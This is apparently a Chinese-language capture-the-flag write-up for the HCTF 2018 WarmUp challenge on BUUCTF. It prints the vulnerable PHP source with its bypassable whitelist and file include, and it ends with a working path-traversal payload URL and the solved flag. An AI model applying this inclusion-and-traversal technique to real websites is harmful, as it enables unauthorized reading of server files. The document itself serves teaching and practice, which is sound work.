提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
[HCTF 2018]WarmUp 1
题目
BUUCTF的[HCTF 2018]WarmUp 1
一、做题步骤
1.查看源代码
代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php--> #这里提示有一个source.php
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
2.进入source.php页面
代码如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这串代码提示:
1.source.php和hint.php在白名单
2.mb_strpos($_page . ‘?’, ‘?’)
mb_strpos()函数返回查找到字符串的首次出现的位置,因此构造 ?hint.php?
3. include $_REQUEST[‘file’];
请求的是file,因此构造?file=hint.php?
3.进入hint.php页面
得到提示 flag 在 ffffllllaaaagggg 里
网页的路径一般在/var/www/html/xxx.php
因此构造路径:…/…/…/…/ffffllllaaaagggg 但是失败了,猜测是返回的上一级不够,多加几个…/ (两个点加斜杠)
4.构造payload
payload:
http://b7559c5a-c34f-4ad9-88f7-d2136d74e186.node4.buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg
得到flag
flag{2caaa7f0-3589-48ef-9459-369aba779b9c}